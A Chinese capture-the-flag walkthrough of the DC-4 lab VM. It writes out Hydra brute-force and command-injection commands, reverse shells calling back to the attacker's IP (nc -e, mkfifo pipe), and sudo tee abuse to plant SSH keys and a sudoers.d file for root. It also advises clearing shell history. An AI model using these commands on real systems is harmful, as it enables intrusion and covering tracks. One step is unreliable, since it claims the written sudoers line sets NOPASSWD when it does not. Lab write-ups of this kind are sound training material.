靶机 DC-4 是我在给新手推荐渗透入门时,经常最先拿出来的一个靶场。它不像 DC-1 那样需要翻各种复杂漏洞,也不像 DC-3 那样上来就是 CMS 利用,它走的是一条非常“接地气”的攻击链:Web 弱口令、命令注入、密码复用、sudo 错误配置。整个靶机只开放 22 和 80 两个端口,但就是这两条线,把最常见的真实内网渗透场景几乎全演了一遍。适合刚学完基础、想搞懂“拿到一个 shell 之后到底往哪走”的人,也适合看惯了高大上 0day、想回归基本功的人。这篇文章我会按实际测试顺序,把每一步的踩坑和判断逻辑都写出来,你可以照着在本地环境里复现一遍。
1. 靶机信息与前期准备
1.1 环境搭建与靶机发现
DC-4 是一个 OVA 镜像,适合导入 VirtualBox 或者 VMware 使用。我习惯在 VirtualBox 里单独建一台虚拟机,网络模式选 Host-Only,这样目标机和攻击机在一个隔离的局域网段,不会影响外部环境。导入完成后,虚拟机会自动获取一个 IP,但大多数情况下不会显示在虚拟机屏幕上,所以第一步是扫网段。
攻击机我是用 Kali,装好网卡后在终端里执行:
sudo arp-scan -l这个命令会扫描当前局域网里的存活主机,结果会同时看到攻击机和靶机的 IP。如果 arp-scan 没装,也可以用nmap -sn 192.168.56.0/24代替。拿到靶机 IP 之后,我先ping一下确认连通性,不通的话先检查网卡是不是 Host-Only,或者靶机网络模式有没有选错。
需要特别提醒的是:靶机 IP 不要固定写死。不同人搭建出来的环境,DHCP 分配结果可能不一样,后面所有命令里的 IP 都要按自己环境里的实际结果替换。这篇文章里我统一用192.168.56.128作为示例,它只用于演示。
环境准备好之后,还有一个小建议:把/etc/hosts里给靶机配一个别名,比如dc4.local,这样后续用浏览器访问或者 SSH 登录时,不用反复记 IP。
1.2 端口扫描与服务识别
先做一次全端口扫描,别只扫常见的 1000 个端口。命令如下:
nmap -sC -sV -p- -oA dc4 192.168.56.128参数说明:
-sC:加载默认 NSE 脚本,做服务指纹、版本探测等。-sV:探测具体服务版本。-p-:全端口扫描。-oA:输出三种格式的扫描结果,方便后面整理报告。
这台靶机的结果非常简单,只有两个端口:
| 端口 | 服务 | 说明 |
|---|---|---|
| 22/tcp | OpenSSH | SSH 远程登录入口 |
| 80/tcp | Apache HTTP | Web 服务入口 |
看到只有这两个端口,心里大概就有数了。Web 服务肯定是入口,SSH 多半是横向移动时用来拿 shell 的通道。比起那种端口一大堆、服务类型复杂的靶机,DC-4 更像是真实业务里的一台瘦服务器:只开必须的服务,攻击面有限,但只要有一个点没配好,照样能被打穿。
顺手再访问一下http://192.168.56.128,首页是一个简单的登录页面,标题区域写着“DC-4”,没有任何花哨的功能点。这个登录页就是第一个突破口,接下来进入 Web 攻击阶段。
2. Web 登录的突破口:弱口令与命令注入
2.1 登录表单爆破的完整姿势
登录页面长得很朴素,只有一个用户名框、一个密码框和一个提交按钮。我第一反应是先抓包,看看请求格式和返回逻辑。在 Burp 里开启代理,随便输入一组账号密码,提交后能看到请求:
POST /login.php HTTP/1.1 Host: 192.168.56.128 username=admin&password=test响应里会有一个明显的错误提示,比如“密码不正确”。这个提示文本就是后面爆破时要用的失败标记F=...,用来让爆破工具判断哪次尝试成功了。
最省事的做法是直接手动试几个常见弱口令。我试了admin:admin、admin:password,都失败了。但这一步不能光靠运气,还是要正规地爆破。用 Hydra 的话,命令大致是:
hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.56.128 http-post-form "/login.php:username=^USER^&password=^PASS^:F=Incorrect" -t 16注意命令里三个关键部分:
/login.php:登录表单的提交路径,要和抓包结果一致。username=^USER^&password=^PASS^:要替换的参数所在位置,如果表单里还有隐藏字段,也要补进去,不然提交会失败。F=Incorrect:失败标记。这个必须和真实报错文本严格一致,大小写、空格都要看仔细,否则 Hydra 会把错误请求当成功请求。
实测下来密码非常简单,就是happy。用户名admin,密码happy,登录成功后页面跳转到一个看起来像 DVWA 的“执行命令”功能页。
关于这个弱口令,我想多说一句:爆破不是目的,目的是发现这类业务系统对密码强度没有任何要求。实际渗透测试中,这种惯性思维也很值得注意——很多人会花大把时间找 0day,却漏掉了最基础的枚举。
2.2 命令注入与第一个 shell
登录后的页面给我一个下拉框,可选项包括ls、cat /etc/passwd、id等,看起来很像是封装好的“命令查询”功能。选中一个选项,点击执行,页面会把命令输出回显出来。
这种页面十有八九存在命令注入,因为它的设计思路就是“把用户选择的命令拼进一个系统调用里执行”。我用 Burp 重新拦截请求,发现 POST 参数名是command,请求体长这样:
command=ls注意它没有用各种白名单过滤,直接把ls放到system()或者类似函数里执行了。先测试一下分号分隔符:
command=ls;id如果页面里既出现了ls的结果,又出现了uid=33(www-data) gid=33(www-data),那就说明分号没有被过滤,任意命令都能拼进去。
确定了注入点,接下来要反弹一个 shell。我本机用nc -lvnp 4444起监听,然后在注入点提交:
nc -e /bin/bash 192.168.56.1 4444这里 192.168.56.1 是攻击机 IP,需要按实际网络环境替换。如果目标环境里的nc不支持-e,会直接报错。这种情况下,我通常改用管道式反弹命令:
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.56.1 4444 > /tmp/f把整串命令做 URL 编码,塞进command=参数里提交。我本地监听窗口很快就收到了一个www-data的 shell。
拿到 shell 后第一件事是升级到交互式终端,不然操作起来很折磨:
python -c 'import pty;pty.spawn("/bin/bash")'按 Ctrl+Z 把进程切到后台,执行:
stty raw -echo fg回车之后终端就变正常了,支持 Tab 补全、上下翻历史,后面所有操作都会舒服很多。
3. 横向移动:从 www-data 到 jim
3.1 主机信息收集与密码复用的线下线索
拿到www-datashell 只是第一步,后面能不能扩大战果,要看信息收集是否仔细。我通常会按一个固定顺序来:先看当前用户和身份,再看系统里的用户列表、网络连接,最后翻敏感文件。
先看/etc/passwd:
cat /etc/passwd除了系统自带的用户之外,目标环境里有几个带/bin/bash的普通用户:jim、charles、sam。这些通常才是值得关注的横向移动目标。
接下来翻目录:
ls -la /home ls -la /home/jimwww-data能读取部分家目录文件,这本身就很有价值。我在/home/jim下发现了一个名字类似old_password.txt的文件,内容是:
^x(hH,@kP=H这一串看起来像乱码,其实是靶机作者故意埋的密码文件。它可能是 jim 之前用过的旧密码,也可能是别的系统上的密码,靶机里就等着你去“猜”这个复用关系。真实环境下,这种明文密码文件太常见了,经常出现在/home/用户/桌面、/var/backups、/tmp里,值不值得尝试,取决于账号体系是否复用。
这里我还想提醒一个容易被忽略的点:注意看目标机里有没有邮件或者计划任务。这类信息经常藏在/var/mail、/var/spool/cron下,里面可能有管理员互相发送的密码,或者周期性任务里暴露的脚本路径。DC-4 上主要线索在明文密码文件,但多看一眼没有任何坏处。
3.2 使用 SSH 接管 jim 账户
拿到密码后,优先考虑用 SSH 登录,而不是在www-data的 shell 里直接切换用户。原因有两个:一是 SSH 连接更稳定,二是如果后续需要传文件、打隧道,SSH 自带的能力都能用上。
直接在攻击机执行:
ssh jim@192.168.56.128密码就填上面那个old_password.txt里的内容。成功率很高,因为靶机作者故意让 jim 的密码和这个文件保持一致。
登录成功后,立刻查看自己的权限:
id sudo -lid显示我当前是 jim,属于jim组。sudo -l的结果很有意思:
User jim may run the following commands on this host: (charles) NOPASSWD: /usr/bin/tee简单说:jim 在不需要输入密码的情况下,能以charles的身份执行/usr/bin/tee命令。
如果你熟悉 Linux 权限模型,应该能感觉到这里味道不对劲。tee是一个读写标准输入、写文件的命令,用来把内容输出到文件里。它的常见用法是:
echo "hello" | tee -a /etc/foo现在它能以 charles 身份运行,意味着 jim 实际上能够以 charles 权限写任何文件。这已经和“拥有一个 charles 的 shell”差不了太多,只是中间还需要一点技巧。
3.3 补充说明:为什么这个 sudo 配置危险
很多人看sudo -u charles /usr/bin/tee会想:“只能写文件,又不能命令执行,有什么好怕的?” 这个想法很危险。文件写权限在提权链条里几乎等于命令执行。只要能把内容写进目标用户的可执行脚本、SSH 公钥文件、或者系统配置,就能变相控制目标用户。
更可怕的是,sudo的这一行规则用的是NOPASSWD,连密码验证都省了。攻击者一旦拿到 jim 权限,就能连续尝试多种文件写入攻击,而不需要猜密码。这也是为什么系统里给某个用户开放“单条命令 sudo 权限”时,必须评估这条命令的所有副作用。
4. sudo 配置滥用:从 jim 到 charles 再到 root
4.1 tee 滥用实现对 charles 的接管
要利用sudo -u charles /usr/bin/tee,最稳的方式是往 charles 的 SSH 公钥文件里写一个我们能控制私钥的公钥,这样就能用 SSH 私钥直接登录成 charles。
先在本机构建一对新的 SSH 密钥:
ssh-keygen -t rsa -b 4096 -f charles_key这会生成charles_key和charles_key.pub。在 jim 的 shell 里,用 sudo 权限把公钥写入/home/charles/.ssh/authorized_keys:
cat charles_key.pub | sudo -u charles /usr/bin/tee /home/charles/.ssh/authorized_keys如果/home/charles/.ssh目录已经存在,这一步会直接成功。如果目录不存在,会报路径错误,这时候需要在 jim 的权限范围内想办法创建目录。一种思路是利用tee先写入一个 charles 家目录下可执行的文件,然后把执行链交给别的场景触发;不过 DC-4 默认环境里通常已经把.ssh目录准备好,实测时可以直接成功。
写入公钥后,攻击机执行:
ssh -i charles_key charles@192.168.56.128没输入任何密码,直接进入 charles 的 shell。这说明我成功完成了第一步横向移动:www-data -> jim -> charles。
到这里,读者可能会问:“为什么不直接在 jim 的 sudo 权限里继续利用 tee 写 root 相关文件?” 关键原因在于权限边界。jim 的 sudo tee 只能以 charles 身份运行,JIM 本身没有权限写/root或/etc/sudoers,因为那些文件属于 root。必须先切换到 charles,再利用 charles 的 sudo 权限向更上层发起攻击。
4.2 构造 sudoers 片段直达 root
进入 charles 之后,老规矩,先检查 sudo 权限:
sudo -l显示内容大致是:
User charles may run the following commands on this host: (root) NOPASSWD: /usr/bin/tee这套路和 jim 几乎一致,区别只是目标用户从 charles 换成了 root。也就是说,charles 能以 root 身份执行tee,可以往 root 能写的文件里写入内容。
我最常用的手法是往/etc/sudoers.d/目录下添加一个文件,让 charles 获得完整的 sudo 权限。先构造内容:
echo 'charles ALL=(ALL:ALL) ALL' > /tmp/sudoers-add然后用 sudo 以 root 身份把内容写进 sudoers 目录:
sudo -u root /usr/bin/tee /etc/sudoers.d/charles < /tmp/sudoers-add注意:tee以 root 身份运行,文件最终归属是 root,权限默认是644,完全符合 sudoers 配置的读取要求。写入成功后,立即验证:
sudo -l此时 charles 的 sudo 列表会显示(ALL) ALL,也就是所有命令都能以任意用户执行。我直接运行:
sudo -i输入不需要密码,因为 sudoers 里已经指定了NOPASSWD。终端提示符立刻变成root@dc-4:~#,提权完成。
这里有个风险要注意:写 sudoers 文件的时候,千万不要覆盖原始/etc/sudoers。原始文件通常权限是0440,由 root 持有,直接写坏会导致 sudo 完全无法工作,之后就是灾难性故障了。正确做法是单独添加sudoers.d下的文件,因为它会被主配置自动包含,而且修改起来更安全。
4.3 验证 root 权限并读取标志
拿到 root 后,先确认身份和关键信息:
whoami id hostname再刷新一下当前目录里的 flag:
cat /root/flag.txt cat /root/root.txt这两个文件名在不同版本里可能不同,反正 root 家目录下会有一个flag.txt或者root.txt,内容写着一句类似的祝贺语。到这里,整个 DC-4 靶场就算通关了。
我在实战里还会顺手做几件收尾动作:
- 把 shell 历史清掉,虽然靶机环境无所谓,但养成习惯。
- 把整个攻击路径重新过一遍,记录哪些点耗时长、哪些点容易踩坑。
- 把用到的关键命令整理成笔记,方便下次遇到类似场景直接套用。
5. 实战排错:那些容易翻车的细节
5.1 登录爆破失败时先抓包
很多新手做 Hydra 爆破时,明明密码就在字典里,就是爆不出来。90% 的问题出在参数提取和失败标记上。
比如登录页的请求里可能隐藏了一个 token 字段,像csrf=xxx,如果爆破时没有把它带上,服务器会拒绝验证密码。更常见的情况是失败标记写错,Hydra 把所有请求都当成成功或失败,导致结果混乱。
如果爆破失败,不要急着加参数,先开 Burp 手动提交一次错误账号,把响应原文读一遍。拿到确切的“错误信息”文本,再把它放进 Hydra 的F=字段。
还有一个我自己的习惯:先用一个确定错误的密码和一个确定正确的密码各测一次,确认 Burp 显示的成功响应和失败响应有明确差异,再交给工具跑。不然爆破结果可信度很低。
5.2 反向 shell 连不上怎么排查
反弹 shell 是最容易卡住人的一步,常见表现是执行后没有反应。排查顺序如下:
- 监听先起,再发命令。很多新手反过来,命令执行完才急着开监听,早就错过了连接窗口。
- 检查命令里填的攻击机 IP 是否真实可达。在虚拟机里,攻击机和靶机必须在同一网段。
- 看看目标系统里
nc是否支持-e。如果报错,立刻换mkfifo方案。 - 如果命令里有空格、分号、引号、管道符,提交前必须先做 URL 编码,否则 Web 参数解析会截断命令。
测试时可以用一个简单的command=ls;id确认注入有效,如果这个都不回显,说明代码里可能有过滤,就要换%0a、%26、反引号等绕过思路。DC-4 上没有这么复杂,但养成这个检查顺序能救你很多次。
5.3 sudoers 与 SSH 权限的隐藏要求
利用tee写authorized_keys时,我会提前确认几个权限细节:
- charles 的家目录权限不能是其他用户可写,否则 SSH 会直接拒绝使用这个公钥。
.ssh目录最好改成700。authorized_keys文件最好改成600。
如果是用sudo -u charles生成的 authorized_keys,默认权限可能不一定满足 SSH 的苛刻要求。我在实际测试里遇到过几次公钥写进去后ssh -i依然登不上,最后一看,authorized_keys权限是644,把它chmod 600之后立刻成功。
写/etc/sudoers.d/时也一样,文件权限太松(比如其他用户可写)会让 sudo 直接忽略该文件,或者报错。写入后先ls -l /etc/sudoers.d/检查归属和权限,再验证sudo -l,不要等到第二步提权时才发现问题。
5.4 关于靶机 IP 和网段扫描的几个坑
DC-4 这类静态靶机和云环境不太一样,虚拟网卡偶尔会起不来。我遇到过的现象是:靶机启动后arp-scan完全扫不到,也没有任何报错。这时候不要光盯着网段看,先去虚拟机的网络设置里把网卡重新选一次,然后把靶机关机重开,问题基本都能解决。
如果是从 OVA 导入后直接运行,系统里可能残留了原作者的网卡 MAC 和 DHCP 配置,导致 IP 冲突或获取不到地址。遇到这种情况,最简单的方法是换用 VMware 或 VirtualBox 的 NAT 模式,等几秒再看arp-scan,不要强求必须走 Host-Only。
DC-4 这条链路其实特别适合拿来练“思维习惯”。每一步单看都简单,但串起来就是一条很完整的攻击链:从 Web 弱口令到命令注入,再到密码复用、sudo 提权,每一个环节放在真实渗透测试里都可能出现。我个人在实际操作中的体会是:不要因为某个点看着“太傻瓜”就跳过,比如happy这个密码、old_password.txt这种文件名,看起来假到离谱,但真实环境里类似的例子一点也不少。最后再分享一个小建议:托管这台靶机的时候,多留一点时间在“试错”上,有些问题不是漏洞难度高,而是环境细节没对齐,先把这些坑填平,后面反而顺很多。